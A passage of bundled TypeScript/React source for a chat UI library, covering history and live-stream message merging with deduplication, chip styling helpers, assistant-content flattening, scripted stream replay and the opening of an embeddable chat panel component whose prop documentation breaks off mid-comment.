Disambiguate with signals that DON'T need a user-row seq:\n        //   - seq watermark: if history persisted PAST this synthetic's\n        //     streamSeq, the stream reached this delivery point, so its own row\n        //     is in the snapshot → replay → drop.\n        //   - trailing twin: if the last history row is a same-text user row (no\n        //     reply yet), it's the just-sent message's own row → drop its echo.\n        //   - else history is BEHIND this fresh seq and the twin is an older\n        //     completed turn → NEW repeat → keep.\n        // No seq signal (legacy transport) → positional-only dedup (drop).\n        if (typeof m.streamSeq !== 'number' || historyMaxStreamSeq <= 0) return false;\n        if (historyMaxStreamSeq >= m.streamSeq) return false;\n        const lastPersisted = processedToUse[processedToUse.length - 1];\n        if (lastPersisted && lastPersisted.role === 'user' && lastPersisted.content === m.content) return false;\n        return true;\n      }\n      // Per-message seq coverage for the remaining synthetics (assistant /\n      // direct / system / error). The synthetic carries the highest CONTENT seq\n      // that built it (never the MESSAGE_END/TOKEN_USAGE tail), so history has\n      // it once a persisted row reaches that seq — exact per-turn: it drops an\n      // earlier finished turn while keeping a later still-streaming one, which\n      // the single global `realtimeSeenStreamSeq` (biased upward by the consumed\n      // tail) cannot distinguish.\n      //\n      // In the per-role regime (some history row is seq-stamped) decide ONLY\n      // against the SAME-ROLE persisted max and NEVER fall back to the global\n      // (cross-role) coverage: a role whose persisted rows reached no seq >=\n      // this one has no evidence the turn is in the snapshot, so it must be kept\n      // — letting an unrelated role's seq (a user MESSAGE_REQUEST that raised the\n      // global max, a later turn) cover it is exactly the reload/stop\n      // message-loss bug. Only when NO history row is seq-stamped (legacy hosts /\n      // unstamped history) do we use the global seq, then wall-clock.\n      let covered: boolean;\n      if (typeof m.streamSeq === 'number' && anyHistoryRowSeq) {\n        const roleMax = historyMaxSeqByRole.get(m.role) ?? 0;\n        covered = roleMax > 0 && roleMax >= m.streamSeq;\n      } else if (typeof m.streamSeq === 'number') {\n        // This synthetic carries its own seq, but no history row does. Decide\n        // against the global when it exists — and when it does NOT\n        // (`historyMaxStreamSeq === 0`), that is not \"unknown, guess by clock\":\n        // it is positive evidence that nothing in the snapshot has reached any\n        // seq at all, so the snapshot cannot contain this turn. KEEP it.\n        //\n        // This is the mid-stream refetch: the only persisted row of a turn in\n        // flight is the user MESSAGE_REQUEST, which the backend does not stamp,\n        // so the max is 0 while live bubbles keep arriving. Falling through to\n        // wall-clock there judged every one of them \"older than the fetch\n        // instant, therefore persisted\" and dropped all but the single\n        // `streamingMessageId` — the thread collapsed to the user's prompt.\n        covered = historyMaxStreamSeq > 0 && historyMaxStreamSeq >= m.streamSeq;\n      } else {\n        covered =\n          historyCoversRealtime !== null ? historyCoversRealtime : (m.timestamp?.getTime() ?? 0) <= historyFetchedAt;\n      }\n      if (covered) return false;\n    }\n    return true;\n  };\n\n  const olderThanWindowMessages: M[] = [];\n  const realtimeMessages: M[] = [];\n  for (const [index, m] of existingMessages.entries()) {\n    // Pin wins over everything: the twin may carry a persisted Mongo id (the\n    // chunk processors ADOPT an in-progress trailing assistant after a prior\n    // merge), in which case `processedIds`/`rawHistoryIds` would drop it even\n    // though the pin branch above already removed history's copy — vanishing\n    // the whole turn.\n    if (pinnedSyntheticIds.has(m.id)) {\n      realtimeMessages.push(m);\n      continue;\n    }\n    if (droppedSyntheticIds.has(m.id) || isInWindow(m)) continue;\n    // Persisted rows disjoint from the window with nothing live between — see\n    // the boundary note: the gap is rows this client never saw.\n    if (firstWindowIndex < 0 && !threadHasClientMintedRow && isPersistedOlder(m) && !isWelcomeId(m.id)) continue;\n    if (isOlderThanWindow(m, index)) {\n      olderThanWindowMessages.push(m);\n      continue;\n    }\n    if (keepRealtime(m)) realtimeMessages.push(m);\n  }\n\n  return [...olderThanWindowMessages, ...processedToUse, ...realtimeMessages];\n}\n\nexport interface HistoryPrependResult<M extends MergeableChatMessage> {\n  newMessages: M[];\n  boundaryMessageId?: string;\n  boundaryUpdates?: { content: MessageContent };\n}\n\n/** Pagination path (an older page arrived via fetchNextPage): everything on\n *  screen stays; collect only the messages above the first already-known id,\n *  plus a content refresh for that boundary message if it changed. Persisted\n *  twins of client-minted rows the thread still shows above that boundary are\n *  left out (see the note in the body). Returns null when there is nothing to\n *  apply. */\nexport function computeHistoryPrepend<M extends MergeableChatMessage>(\n  processedHistory: M[],\n  existingMessages: M[],\n): HistoryPrependResult<M> | null {\n  const existingIds = new Set(existingMessages.map(m => m.id));\n  const boundaryMessageIndex = processedHistory.findIndex(m => existingIds.has(m.id));\n  const newEnd = boundaryMessageIndex >= 0 ? boundaryMessageIndex : processedHistory.length;\n  const boundaryIndexInExisting =\n    boundaryMessageIndex >= 0\n      ? existingMessages.findIndex(m => m.id === processedHistory[boundaryMessageIndex].id)\n      : -1;\n\n  // Turns the thread still shows under client-minted ids ABOVE the boundary\n  // streamed live and fell out of the refetch window before any snapshot\n  // replaced them (the window boundary in `mergeHistoryWithRealtime`). The\n  // older page carries their persisted twins; prepending those would render\n  // each such turn twice, so they are left out — the persisted copy takes over\n  // at the next full merge, whose window then reaches them. Matched from the\n  // boundary backwards and one claim per live row, because the live rows are\n  // the NEWEST turns before it: a repeated prompt or a shared opener further up\n  // the page is a different turn and stays. The page is persisted in full, so\n  // an answer text twins only in the cut-short direction (the live copy is a\n  // prefix of the persisted one).\n  const liveAboveBoundary =\n    boundaryIndexInExisting > 0\n      ? existingMessages.slice(0, boundaryIndexInExisting).filter(m => isClientMintedId(m.id))\n      : [];\n  const twinIndices = new Set<number>();\n  if (liveAboveBoundary.length > 0) {\n    const liveSignals = collectTwinSignals(liveAboveBoundary);\n    const userTwinsLeft = new Map(liveSignals.userContents);\n    const assistantTwinsLeft = new Map(liveSignals.assistantTexts);\n    for (let i = newEnd - 1; i >= 0; i--) {\n      const pm = processedHistory[i];\n      if (pm.role === 'user') {\n        const text = userText(pm);\n        const left = text === '' ? 0 : (userTwinsLeft.get(text) ?? 0);\n        if (left === 0) continue;\n        userTwinsLeft.set(text, left - 1);\n        twinIndices.add(i);\n      } else if (pm.role === 'assistant') {\n        const keys = turnRequestKeys(pm.content);\n        if (keys.size > 0) {\n          if (sharesRequestKey(keys, liveSignals.requestKeys)) twinIndices.add(i);\n          continue;\n        }\n        const text = assistantAnswerText(pm.content);\n        if (text === '') continue;\n        for (const [liveText, left] of assistantTwinsLeft) {\n          if (left === 0 || !text.startsWith(liveText)) continue;\n          assistantTwinsLeft.set(liveText, left - 1);\n          twinIndices.add(i);\n          break;\n        }\n      }\n    }\n  }\n  const newMessages = processedHistory.slice(0, newEnd).filter((_, i) => !twinIndices.has(i));\n\n  let boundaryMessageId: string | undefined;\n  let boundaryUpdates: { content: MessageContent } | undefined;\n\n  if (boundaryIndexInExisting >= 0) {\n    const boundaryMessage = processedHistory[boundaryMessageIndex];\n    const existingBoundary = existingMessages[boundaryIndexInExisting];\n    const existingContent = JSON.stringify(existingBoundary.content);\n    const newContent = JSON.stringify(boundaryMessage.content);\n\n    if (existingContent !== newContent) {\n      boundaryMessageId = boundaryMessage.id;\n      boundaryUpdates = { content: boundaryMessage.content };\n    }\n  }\n\n  if (newMessages.length === 0 && !boundaryUpdates) return null;\n  return { newMessages, boundaryMessageId, boundaryUpdates };\n}\n","/**\n * Single CSS string for chip-density action buttons (Recent / Search /\n * Find / Display, plus the inline Display popover's submit / cancel\n * buttons).\n *\n * Shared between the empty-state chip's action row and the\n * `<DisplayChipAction>` popover so both render with byte-equivalent\n * styling — no per-call ad-hoc Tailwind chain that drifts over time.\n *\n * Sizing intent: 11px font + tight `px-2 py-1` padding lands below UI-Kit\n * `Button size=\"small\"` (24-32px min-height). These are chip-density\n * action buttons, not standard buttons — they sit inside the empty-state\n * chip card's tertiary action row.\n */\nexport const CHIP_ACTION_BUTTON_CLASS =\n  'text-h6 text-ods-text-secondary hover:text-ods-text-primary ' +\n  'bg-transparent hover:bg-ods-card-hover border border-ods-border rounded-md ' +\n  'px-2 py-1 transition-colors focus-visible:outline-none focus-visible:ring-2 ' +\n  'focus-visible:ring-ods-focus';\n","/**\n * Shared className generator for the chat-adjacent UI family:\n *  - **Source chips** (citation list below an assistant turn)\n *  - **Inline entity-card pills** (within prose, marker-rendered)\n *  - **Search-result rows** (dropdown beneath the search input)\n *\n * Centralising the token here means a single ODS change propagates to\n * every surface — chip / card / dropdown row read as the same family.\n *\n * The `tone` arg controls the resting text color:\n *  - `secondary` — citation chips and tertiary metadata. Muted resting.\n *  - `primary`   — chips that ARE the subject of the sentence. Matches\n *    body text color so the chip reads as content, not metadata.\n *\n * The `density` arg controls size / padding:\n *  - `'chip'`     — inline pill (`px-2 py-0.5 text-[11px]`). Default;\n *    used by the citation row and inline entity-card markers.\n *  - `'list-row'` — wider, taller row (`px-3 py-2 text-sm`). Used by\n *    the search-bar dropdown. Same ODS family — same border, hover\n *    transition, accent treatment — just larger touch target.\n *  - `'card-row'` — for the tracking strip beneath a card frame\n *    (`px-2 py-1 text-[11px]` no border). Same family, no frame.\n */\nexport interface ChipClassOptions {\n  tone: 'primary' | 'secondary';\n  /** Visual density. Defaults to `'chip'`. */\n  density?: 'chip' | 'list-row' | 'card-row';\n  /** Extra classes appended verbatim (e.g. `cursor-pointer`). */\n  extra?: string;\n}\n\nexport function chatChipClass({ tone, density = 'chip', extra }: ChipClassOptions): string {\n  const toneClass = tone === 'primary' ? 'text-ods-text-primary' : 'text-ods-text-secondary';\n  // Size / padding by density. All three share the same border + hover\n  // semantics so a chip and a search-row read as the same UI family.\n  const sizeClass =\n    density === 'list-row'\n      ? 'px-3 py-2 text-sm gap-2'\n      : density === 'card-row'\n        ? 'px-2 py-1 text-h6 gap-1.5'\n        : 'px-2 py-0.5 text-h6 gap-1.5';\n  // `card-row` is the \"no-frame\" variant — no border, no card bg, so it\n  // sits cleanly under a card without visually wrapping it.\n  const frameClass = density === 'card-row' ? '' : 'bg-ods-card border border-ods-border rounded';\n  const base =\n    `inline-flex items-center ${sizeClass} ${frameClass} ` +\n    `${toneClass} ` +\n    'hover:text-ods-accent hover:border-ods-accent transition-colors align-baseline';\n  return extra ? `${base} ${extra}` : base;\n}\n","/**\n * `flattenAssistantContent` — coerce a chat message's `content` field\n * (string OR `MessageSegment[]`) into a plain string for wire transport.\n *\n * Background: useChat populates assistant messages with a structured\n * segment array as the streamed SSE arrives (text segments, approval\n * cards, tool_execution blocks, thinking blocks). The local React\n * state holds `content: MessageSegment[]` for those turns. When the\n * client serializes the conversation back to the server for the NEXT\n * turn, a naive `typeof content === 'string' ? content : ''` strip-\n * to-empty silently drops every post-approve receipt, every Sonnet-\n * streamed answer, and every diagnostic Q — Anthropic receives\n * `assistant: \"\"` for those turns and has no context to follow.\n *\n * The function:\n *   1. Returns plain strings as-is.\n *   2. For arrays, joins every `text`-typed segment's `text` field\n *      with `\\n\\n` separators. Non-text segments (approval_request,\n *      tool_execution, thinking) have no LLM-visible textual content\n *      and are intentionally skipped — they shouldn't bloat the\n *      request body.\n *   3. Returns `''` for anything else (null, undefined, unknown shape).\n */\nexport function flattenAssistantContent(raw: unknown): string {\n  if (typeof raw === 'string') return raw;\n  if (!Array.isArray(raw)) return '';\n  const parts: string[] = [];\n  for (const seg of raw) {\n    if (seg && typeof seg === 'object' && (seg as { type?: string }).type === 'text') {\n      const t = (seg as { text?: unknown }).text;\n      if (typeof t === 'string' && t.length > 0) parts.push(t);\n    }\n  }\n  return parts.join('\\n\\n');\n}\n","/**\n * Scripted-conversation replay — turn a stored `HistoricalMessage[]` into ordered\n * \"mock SSE\" playback frames that animate a chat surface exactly like the live\n * NATS/SSE stream (a `thinking` pause → assistant text token-by-token → tool /\n * approval segments popping in → `idle`), just replayed from a script instead of\n * a network stream.\n *\n * Lives in the lib (not a host) so any consumer — marketing hero demos, docs,\n * onboarding tours — can drive a `previewMode` `EmbeddableChat` or a\n * `ChatMessageList` from a canned conversation without re-implementing the\n * streaming cadence. Pair with {@link useScriptedStream} (the playback clock).\n */\n\nimport type { HistoricalMessage, MessageData, StreamingPhase } from '../types';\n\n/** Normalize the single-or-array `messageData` to an array (empty when absent). */\nexport function normalizeHistoricalMessageData(md: HistoricalMessage['messageData']): MessageData[] {\n  return Array.isArray(md) ? md : md ? [md] : [];\n}\n\n/** A message the user authored carries an `owner`; assistant turns have none —\n *  drives whether a turn streams (assistant) or lands at once (user). */\nexport function isHistoricalUserTurn(m: HistoricalMessage): boolean {\n  return !!m.owner;\n}\n\nconst isTextSegment = (d: MessageData): d is MessageData & { type: 'TEXT'; text: string } =>\n  (d as { type?: string })?.type === 'TEXT' && typeof (d as { text?: unknown }).text === 'string';\n\n/** One rendered step of the mocked stream. */\nexport interface StreamFrame {\n  /** The partial message list to show at this step. */\n  messages: HistoricalMessage[];\n  phase: StreamingPhase;\n  /** The chat \"typing\" indicator (up during the `thinking` pause). */\n  typing: boolean;\n  /** Hold time (ms) before advancing to the next frame. */\n  delayMs: number;\n}\n\n// Playback cadence. Assistant turns \"think\" then stream token-by-token; user\n// turns land at once. Tuned to read like a real chat without dragging.\nconst THINK_MS = 550;\nconst TOKEN_MS = 55; // per word revealed while streaming text\nconst USER_MS = 480; // dwell on a user turn before the reply starts thinking\nconst SEGMENT_MS = 340; // a tool / approval card pops in\nconst POST_MS = 240; // dwell after a completed assistant turn\n\n/** Split text into tokens that KEEP surrounding whitespace, so re-joining a\n *  prefix reproduces the original spacing exactly (`\"a b\"` → `[\"a \", \"b\"]`). */\nfunction tokenize(text: string): string[] {\n  return text.match(/\\s*\\S+\\s*/g) ?? (text ? [text] : []);\n}\n\n/**\n * Expand a message list into ordered playback frames reproducing the live\n * stream: each user turn lands whole; each assistant turn first shows a\n * `thinking` indicator, then streams its text token-by-token, then pops any\n * tool / approval segments. Frame COUNT for a given prefix is deterministic, so\n * a host that appends a continuation (e.g. after an Approve) resumes seamlessly\n * from where it paused — the shared prefix's frames are unchanged.\n */\nexport function buildStreamFrames(messages: HistoricalMessage[]): StreamFrame[] {\n  const frames: StreamFrame[] = [];\n  const revealed: HistoricalMessage[] = [];\n  const push = (msgs: HistoricalMessage[], phase: StreamingPhase, typing: boolean, delayMs: number) =>\n    frames.push({ messages: msgs.slice(), phase, typing, delayMs });\n\n  messages.forEach(msg => {\n    if (isHistoricalUserTurn(msg)) {\n      revealed.push(msg);\n      push(revealed, 'idle', false, USER_MS);\n      return;\n    }\n\n    // Assistant turn: a `thinking` pause, then stream this turn's segments in\n    // order. The pause is emitted ONLY when there is already content to show\n    // (`revealed.length > 0`) — an empty first frame would hand the surface a\n    // zero-message list, flashing its empty state before the opening line.\n    if (revealed.length > 0) push(revealed, 'thinking', true, THINK_MS);\n\n    const segs = normalizeHistoricalMessageData(msg.messageData);\n    const built: MessageData[] = [];\n    const emit = () => push([...revealed, { ...msg, messageData: [...built] }], 'streaming', false, 0);\n\n    segs.forEach(seg => {\n      if (isTextSegment(seg)) {\n        const tokens = tokenize(seg.text);\n        let acc = '';\n        built.push({ ...seg, text: '' });\n        tokens.forEach(tok => {\n          acc += tok;\n          built[built.length - 1] = { ...seg, text: acc };\n          push([...revealed, { ...msg, messageData: [...built] }], 'streaming', false, TOKEN_MS);\n        });\n        built[built.length - 1] = { ...seg };\n      } else {\n        // Tool / approval segment: pops in fully.\n        built.push(seg);\n        emit();\n        frames[frames.length - 1].delayMs = SEGMENT_MS;\n      }\n    });\n\n    revealed.push(msg);\n    push(revealed, 'idle', false, POST_MS);\n  });\n\n  if (frames.length === 0) push(revealed, 'idle', false, 0);\n\n  // The streaming/\"thinking\" indicator must stay up for the WHOLE replay and be\n  // removed only when the stream FINISHES — never blink off between turns or\n  // while text streams (that reads as flicker). So `typing` is true for every\n  // frame except the terminal one; `phase` is left accurate for other logic.\n  // (`ChatMessageList`'s `showStreamingLoader` still hides it on a frame whose\n  // last segment is a pending approval, i.e. when the agent is truly paused.)\n  const lastIdx = frames.length - 1;\n  for (const [i, frame] of frames.entries()) {\n    frame.typing = i < lastIdx;\n  }\n  return frames;\n}\n","'use client';\n\n/**\n * EmbeddableChat — lib-portable port of the hub's `<GlobalAskAI>` component.\n *\n * Drops every hub-only import (auth-provider, useNavLink, currentPlatform,\n * tableIdForDocumentType, rag-table-config, etc.) and routes ALL navigation\n * + identity decisions through `useRequiredChatRuntime()`. Host wires the\n * runtime once at root (HubRuntimeProvider in the hub, custom provider in\n * embedders); this component reads from it everywhere.\n *\n * Diff summary vs hub original:\n *   - `useAuth()` → `useRequiredChatRuntime().user` (greeting + identity only;\n *     the requireAuth render gate is dropped — hub's wrapper handles it).\n *   - `currentPlatform()` → `useRequiredChatRuntime().source`.\n *   - `useNavLink`/`NavLinkAnchor` → chip-anchor rewrite via\n *     `handleChatNavClick` + lib's `NavLinkAnchorViaRuntime`.\n *   - `useDocChat(source)` → `useSseChatAdapter()` (reads source from runtime).\n *   - `tableIdForDocumentType` import deleted (dead per audit).\n *   - `renderChatInlineEntityCard` imported from lib's entity-cards barrel.\n *   - `useCloseOnNavigation` signature is `(close, pathname)` — pass `null`\n *     because lib has no `usePathname()` and embedders own that decision.\n *   - All other hub utilities (chat-attachment-bar, slash-commands fetcher,\n *     icon registry, chip-styles, click-utils, etc.) re-resolved against\n *     the equivalent lib modules.\n *\n * Public surface — `<EmbeddableChat />` taking the same prop bundle the hub\n * shell passes (minus `requireAuth`, which the hub's wrapper handles), plus\n * an optional `extras` opt-in for the chat-card dispatch helpers that need\n * host-supplied builders (program configs, product-release prop builder).\n */\n\nimport * as DialogPrimitive from '@radix-ui/react-dialog';\nimport { useControllableState } from '@radix-ui/react-use-controllable-state';\nimport { VisuallyHidden } from '@radix-ui/react-visually-hidden';\nimport { usePreventScroll } from '@react-aria/overlays';\nimport { isIOS } from '@react-aria/utils';\nimport { MessageSquare } from 'lucide-react';\nimport React, { useCallback, useEffect, useImperativeHandle, useMemo, useRef, useState } from 'react';\nimport { useRequiredChatRuntime } from '../../contexts/chat-runtime-context';\nimport { useRouter } from '../../embed-shims/next-navigation';\nimport { useIsHydrated } from '../../hooks/ui/use-is-hydrated';\nimport { cn } from '../../utils/cn';\nimport { EntityIcon } from '../icon-display';\nimport { MingoIcon } from '../icons';\nimport {\n  Arrow02RightIcon,\n  Arrow02LeftIcon,\n  SearchIcon,\n  ClockHistoryIcon,\n  Ellipsis01Icon,\n  Refresh01LeftIcon,\n} from '../icons-v2-generated';\nimport { Chevron02LeftIcon } from '../icons-v2-generated/arrows/chevron-02-left-icon';\nimport { XmarkIcon } from '../icons-v2-generated/signs-and-symbols/xmark-icon';\nimport { ActionsMenuDropdown, type ActionsMenuItem } from '../ui/actions-menu';\nimport { Button } from '../ui/button';\nimport { Drawer, DrawerContent } from '../ui/drawer';\nimport { HoverDropdown, type HoverDropdownItem } from '../ui/hover-dropdown';\nimport { CollisionBoundaryContext, PortalContainerContext } from '../ui/portal-container';\nimport { SquareAvatar } from '../ui/square-avatar';\nimport { ChatArchivePage } from './chat-archive-page';\nimport { ChatAttachmentChipStrip } from './chat-attachment-bar';\nimport { ChatComposer } from './chat-composer';\nimport { ChatHeaderIconButton } from './chat-header-icon-button';\nimport { ChatHeaderSearchField } from './chat-header-search-field';\nimport { ChatMessageList } from './chat-message-list';\nimport { ChatMessageListSkeleton } from './chat-message-skeleton';\nimport { ChatPanelContext, type ChatPanelHandle } from './chat-panel-context';\nimport { ChatPanelHeader, type ChatPanelHeaderProps } from './chat-panel-header';\nimport type { ChatRef } from './chat-ref.types';\nimport { renderChatInlineEntityCard } from './entity-cards/dispatch';\nimport type { ChatCardDispatchExtras } from './entity-cards/dispatch';\nimport { GuideModeBanner } from './guide-mode-banner';\nimport { GuideWelcome, type GuideWelcomeProps } from './guide-welcome';\nimport { useChatAttachmentImageGallery } from './hooks/use-chat-attachment-image-gallery';\nimport { useChatAttachments } from './hooks/use-chat-attachments';\nimport { useChatDialogManager } from './hooks/use-chat-dialog-manager';\nimport { useChatIdentity } from './hooks/use-chat-identity';\nimport { useCloseOnNavigation } from './hooks/use-close-on-navigation';\nimport { useEmptyStateConfig } from './hooks/use-empty-state-config';\nimport { fetchSlashCommands, useSlashCommandRegistry, type SlashCommandSummary } from './hooks/use-slash-commands';\nimport type { ChatSource, UseSseChatAdapterOptions } from './hooks/use-sse-chat-adapter';\nimport { useUnifiedChat, type ChatMode, type UseUnifiedChatModes } from './hooks/use-unified-chat';\nimport { ChatDialogModals } from './mingo-chat-modals';\nimport { MingoHistoryRail } from './mingo-history-rail';\nimport { MingoOnboardingCard } from './mingo-onboarding-card';\nimport { MingoOnboardingCardSkeleton } from './mingo-onboarding-card-skeleton';\nimport { MingoWelcome, type MingoWelcomeProps } from './mingo-welcome';\nimport { NavLinkAnchorViaRuntime } from './nav-link-anchor-via-runtime';\nimport { accentFromIdentityIcon, getAgentAccent } from './quick-action-chip';\nimport { SourceActionButton } from './source-action-button';\nimport type { ChatInputRef, SlashCommandActionId } from './types/component.types';\nimport type { ChatContextItem, ChatContextPickerConfig } from './types/context-item.types';\nimport type { MessageSegment, Message } from './types/message.types';\nimport type { ChatDialogCapabilities, UnifiedChatState } from './types/unified-chat-state.types';\nimport { formatChatAttachmentMarkdownForBubble } from './utils/chat-attachment-markdown';\nimport { resolveHrefForRuntime } from './utils/chat-nav-resolution';\nimport { chatChipClass } from './utils/chip-styles';\nimport { FALLBACK_TOP_RETRIEVED, splitCitedSources } from './utils/cited-sources';\nimport { executeNavigation } from './utils/execute-navigation';\nimport { flattenAssistantContent } from './utils/flatten-assistant-content';\nimport { mapHostMessage, pruneTimestampCache } from './utils/host-message';\nimport { resolveIcon } from './utils/icon-library';\nimport { computeIsNewTab, newTabAnchorAttrs } from './utils/nav-anchor-props';\nimport { formatSingularLookupInvocation } from './utils/slash-dispatch-utils';\nimport { getSourceIconName } from './utils/source-icons';\nimport { resolveSourceRowCTA, sourceRowCtxFromRuntime } from './utils/source-row-cta';\n\n/**\n * Split (wide) Mingo layout metrics (Figma 113:60931 / 113:63630). The\n * \"Current Chats\" rail is a fixed 320px column; the chat block fills the rest\n * with a 400px floor. Below their sum the panel is too tight for two columns,\n * so the layout falls back to the stacked (single-column) view where the\n * history renders inline in the Mingo empty state. Purely width-driven and\n * self-contained — the host wires nothing.\n */\nconst HISTORY_RAIL_WIDTH = 320;\nconst CHAT_BLOCK_MIN_WIDTH = 400;\nconst SPLIT_MIN_WIDTH = HISTORY_RAIL_WIDTH + CHAT_BLOCK_MIN_WIDTH;\n\n// Desktop drawer opens at this fraction of the viewport width (clamped to the\n// Drawer's own min/max). The user can still resize (persisted per DRAWER_WIDTH_KEY).\nconst DRAWER_DEFAULT_WIDTH_RATIO = 0.5;\n// Bump the suffix whenever the default policy changes so previously-persisted\n// widths (e.g. the old fixed 750px / earlier 30% default) reset on next open.\nconst DRAWER_WIDTH_KEY = 'mingo-chat-width-v4';\nconst DRAWER_DEFAULT_WIDTH_PX = 750; // SSR fallback before the viewport is known\n/**\n * A panel that owns a dialog list opens WIDE ENOUGH TO SPLIT, so the \"Current\n * Chats\" rail sits beside the conversation instead of replacing it.\n *\n * 50% of the viewport is under `SPLIT_MIN_WIDTH` on any screen narrower than\n * 1440, which silently downgraded every such user to the stacked single-column\n * list — the layout meant for phones. The floor is the measured panel width the\n * split needs plus a few px of chrome, and the Drawer still clamps it to the\n * viewport, so a genuinely small screen keeps the stacked view.\n */\nconst SPLIT_DEFAULT_WIDTH_ALLOWANCE = 16;\nfunction drawerDefaultWidth(withHistoryRail: boolean): number {\n  if (typeof window === 'undefined') return DRAWER_DEFAULT_WIDTH_PX;\n  const ratioWidth = Math.round(window.innerWidth * DRAWER_DEFAULT_WIDTH_RATIO);\n  if (!withHistoryRail) return ratioWidth;\n  return Math.max(ratioWidth, SPLIT_MIN_WIDTH + SPLIT_DEFAULT_WIDTH_ALLOWANCE);\n}\n\n// =============================================================================\n// Types\n// =============================================================================\n\nexport interface EmbeddableChatProps {\n  /** Base route for in-app doc chip nav (e.g. `/knowledge-base`). When\n   *  omitted, defaults are derived from `runtime.source`. */\n  baseRoute?: string;\n  /** When the embedder doesn't host a `[...path]` route to render markdown\n   *  chips against, set this to a platform that does. Chips with\n   *  `externalUrl: null` resolve to `getBaseUrl(chipBasePlatform) +\n   *  '/knowledge-base/' + path` and open in a new tab. */\n  chipBasePlatform?: string;\n  /** DB-driven list of enabled RAG table ids (chip catalog filter).\n   *  Prefetched server-side by the embedder's wrapper. Empty/null → no\n   *  empty-state chips render. */\n  enabledRagTableIds?: ReadonlyArray<string> | null;\n  /** DB-backed empty-state greeting. Falls back to a generic greeting. */\n  emptyStateGreeting?: string | null;\n  /** DB-backed starter prompts (chips below the greeting). */\n  suggestedQueries?: ReadonlyArray<string> | null;\n  /** Controlled-mode open state. When provided, `onOpenChange` MUST also\n   *  be provided. Uncontrolled mode is the default. */\n  open?: boolean;\n  /** Controlled-mode change handler. Required when `open` is provided. */\n  onOpenChange?: (open: boolean) => void;\n  /** Initial open state for uncontrolled mode. Ignored if `open` is set. */\n  defaultOpen?: boolean;\n  /** Render the built-in floating \"Ask AI\" trigger. Defaults to `true`. */\n  showInternalTrigger?: boolean;\n  /**\n   * Non-interactive display mode. When `true`, the whole panel becomes a\n   * static visual — every hover state and click is blocked (via\n   * `pointer-events-none` on the panel body) and the composer no longer\n   * auto-focuses. Use it to embed the chat as a marketing/hero mock (e.g. a\n   * scripted `mingoState` thread) that should look live but not respond to the\n   * cursor. Scrolling is intentionally disabled too. Defaults to `false`.\n   */\n  previewMode?: boolean;\n  /** Optional builders for chat-card types whose props live in hub-land\n   *  (programs + product_release). Forwarded straight to\n   *  `renderChatInlineEntityCard`. */\n  extras?: ChatCardDispatchExtras;\n  /** Optional callback used by `useSseChatAdapter`'s `displayRef` /\n   *  `discussRef` flow to translate an LLM document type into the\n   *  registry table id for entity-id-filtered retrieval.\n   *\n   *  Legacy top-level form. The new shape is `modes.guide.tableIdForDocumentType`.\n   *  When both are present, `modes` wins. */\n  tableIdForDocumentType?: (documentType: string) => string | null;\n\n  /**\n   * Per-mode transport configuration. When omitted, the component\n   * falls back to legacy guide-only behaviour synthesised from the\n   * top-level `tableIdForDocumentType` prop — multi-platform-hub and\n   * any other existing consumer keep working with zero changes.\n   *\n   * When provided, this is the canonical way to wire chat transports:\n   *\n   *   - `modes.guide`  → SSE/Guide adapter options (RAG retrieval, hub).\n   *   - `modes.mingo`  → NATS/Mingo adapter config  (agent, openframe).\n   *\n   * Configuring both modes makes the in-panel mode toggle appear so\n   * the user can flip between Guide and Mingo without losing either\n   * history (each mode keeps its own local thread).\n   */\n  modes?: UseUnifiedChatModes;\n\n  /**\n   * Pre-built Mingo-mode state, supplied by the host instead of letting the\n   * built-in NATS adapter own it. When provided, the panel renders Mingo mode\n   * from this object and opens no subscription of its own — the host keeps\n   * chat data + streaming in its own store/cache so it survives the panel\n   * unmounting (no `keepMounted` needed). The host should then NOT pass\n   * `modes.mingo` (Guide-mode wiring via `modes.guide` is unaffected).\n   */\n  mingoState?: UnifiedChatState;\n\n  /**\n   * Approval cards to pin as the sticky footer under the thread.\n   *\n   * Hosts that lift PENDING approvals out of the message list (mingo does:\n   * a pending card is filtered out of its bubble so an interrupted retry cannot\n   * render the same request twice) must hand them back here — otherwise the\n   * card exists in the reducer, is stripped on the way to the view, and is\n   * displayed nowhere at all. `ChatMessageList` renders them with the same\n   * component the inline path uses, so the approve/reject handlers stamped on\n   * the segments keep working.\n   */\n  pendingApprovals?: MessageSegment[];\n\n  /**\n   * Dialog-management capabilities for injected Mingo mode (`mingoState`).\n   *\n   * When the host injects `mingoState`, it doesn't pass `modes.mingo` (that\n   * would re-activate the idle built-in adapter), so the rename/archive/\n   * restore/archive-page affordances can't read their capability flags off the\n   * callback config. Supply them here instead. Default OFF: the row ⋯ menu and\n   * the archive page appear only when the host opts in, so nothing advertises\n   * an action the host hasn't wired. Ignored unless `mingoState` is set.\n   *\n   * Same shape an adapter reports through `UnifiedChatState.dialogCapabilities`\n   * (`ChatDialogCapabilities`) — one type, whether the list is host-owned or\n   * adapter-owned. `onCopyLink` adds \"Copy chat link\" to the header ⋯ menu and\n   * every row menu; the host owns the URL shape and the clipboard write.\n   */\n  mingoDialogCapabilities?: ChatDialogCapabilities;\n\n  /**\n   * Controlled active-mode. When provided, `onActiveModeChange` MUST\n   * also be provided. For uncontrolled use see `defaultActiveMode`.\n   */\n  activeMode?: ChatMode;\n\n  /** Controlled active-mode change handler. Required when `activeMode` is set. */\n  onActiveModeChange?: (mode: ChatMode) => void;\n\n  /**\n   * OpenFrame AI agent mode — render a global agent (e.g. `'fae'`, `'mingo'`).\n   * Works in BOTH regular (host) AND embedded modes. When set, the chat fetches\n   * that agent's display config (greeting + suggested prompts) instead of the\n   * platform empty-state — the \"agent mode\" URL override. DISPLAY-only this\n   * phase: retrieval still resolves server-side from the platform. Optional;\n   * unset = today's behavior.\n   *\n   * Route resolution (highest → lowest precedence):\n   *   1. `aiAgentConfigUrl` prop (below)\n   *   2. `runtime.endpoints.aiAgentConfigUrl`\n   *   3. the component's built-in default (`/api/ai-agents/<slug>`)\n   * So agent mode works with ZERO wiring, yet every route stays overridable.\n   */\n  activeAgentSlug?: string;\n\n  /** Optional agent switcher callback (host renders the agent picker UI). */\n  onAgentChange?: (slug: string) => void;\n\n  /**\n   * Per-component override for the agent display-config route. Highest\n   * precedence (over `runtime.endpoints.aiAgentConfigUrl` and the built-in\n   * default). Lets a single embed point a specific agent at a custom/proxied\n   * endpoint without changing the shared runtime. Optional.\n   */\n  aiAgentConfigUrl?: (slug: string) => string;\n\n  /**\n   * Initial active mode for uncontrolled mode. Ignored when `activeMode`\n   * is set. Defaults to `'guide'` when `modes.guide` is configured,\n   * else `'mingo'`.\n   */\n  defaultActiveMode?: ChatMode;\n\n  /**\n   * Wrapper shell around the chat body.\n   *   